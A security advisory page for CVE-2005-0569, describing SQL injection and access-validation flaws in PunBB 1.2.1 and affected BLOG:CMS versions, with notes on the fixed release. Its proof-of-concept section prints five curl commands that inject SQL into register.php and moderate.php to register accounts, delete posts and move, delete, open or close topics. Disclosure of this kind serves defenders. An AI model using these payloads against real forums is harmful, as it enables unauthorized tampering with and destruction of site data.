PunBB Multiple Remote Input Validation Vulnerabilities

BID:12652

Info

PunBB Multiple Remote Input Validation Vulnerabilities

Bugtraq ID: 12652
Class: Input Validation Error
CVE: CVE-2005-0569
Remote: Yes
Local: No
Published: Feb 24 2005 12:00AM
Updated: Jul 12 2009 10:56AM
Credit: John Gumbel <[email protected]> is credited with the discovery of this issue.
Vulnerable: PunBB PunBB 1.2.1
BLOG:CMS BLOG:CMS 3.1.4
BLOG:CMS BLOG:CMS 3.1.3
BLOG:CMS BLOG:CMS 3.1.2
BLOG:CMS BLOG:CMS 3.1
BLOG:CMS BLOG:CMS 3.0
Not Vulnerable: PunBB PunBB 1.2.2
BLOG:CMS BLOG:CMS 3.6.4
BLOG:CMS BLOG:CMS 3.6.2

Discussion

PunBB Multiple Remote Input Validation Vulnerabilities

Multiple remote input validation vulnerabilities affect PunBB. These issues are due to a failure of the application to sanitize user-supplied input prior to using it to carry out critical functions.

The first issue is an SQL injection issue in the 'register.php' script. The second issue is an SQL injection issue in the 'moderate.php' script. A third SQL injection issue exists in the 'profile.php' script. Finally an access validation issue affects the 'profile.php' script.

An attacker may leverage these issues to have arbitrary SQL queries executed against the database; this may facilitate data corruption or manipulation. Furthermore one of these issues may be leveraged to trigger a denial of service condition against current user by setting their passwords to a NULL value.

Exploit / POC

PunBB Multiple Remote Input Validation Vulnerabilities

No exploit is required to leverage any of these issues. The following proof of concepts have been provided:

This example demonstrates the SQL injection vulnerability in the language parameter:

curl --form form_sent=1 --form req_username=sha --form req_password1=passwd --form req_paspasswd --form [email protected] --form
language="English', 'Oxygen', 0, '0.0.0.0', 0) -- " http://target/register.php?action=registerer

Attacks delete posts:
curl --referer http://www.example.com/moderate.php --form posts="0) -- this won't show" --form delete_posts_comply=1 --cookie punbb_cookie=&lt;valid
cookie&gt; target/moderate.php?fid=1\&amp;tid=1

Attacks move topics:
curl --referer http://www.example.com/moderate.php --form topics="2) -- this won't show" --form move_to_forum=2 --form move_topics=1 --form
move_topics_to=1 --cookie punbb_cookie=&lt;valid cookie&gt; target/moderate.php?fid=1

Attacks delete topics:
curl --referer http://www.example.com/moderate.php --form topics="2) -- this won't show" --form delete_topics=1 --form delete_topics_comply=1
--cookie punbb_cookie=&lt;valid cookie&gt; target/moderate.php?fid=1

Attacks open/close:
curl --referer http://www.example.com/moderate.php --form "topics[0) -- this won't show]"= --form open=1 --cookie "punbb_cookie=&lt;valid cookie&gt;
target/moderate.php?fid=1

Solution / Fix

PunBB Multiple Remote Input Validation Vulnerabilities

Solution:
The vendor has released an update to address these issues:

BLOG:CMS has released an updated package that contains a release of PunBB that is not affected by these vulnerabilities.


PunBB PunBB 1.2.1

BLOG:CMS BLOG:CMS 3.0

BLOG:CMS BLOG:CMS 3.1

BLOG:CMS BLOG:CMS 3.1.2

BLOG:CMS BLOG:CMS 3.1.3

BLOG:CMS BLOG:CMS 3.1.4

References

PunBB Multiple Remote Input Validation Vulnerabilities

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report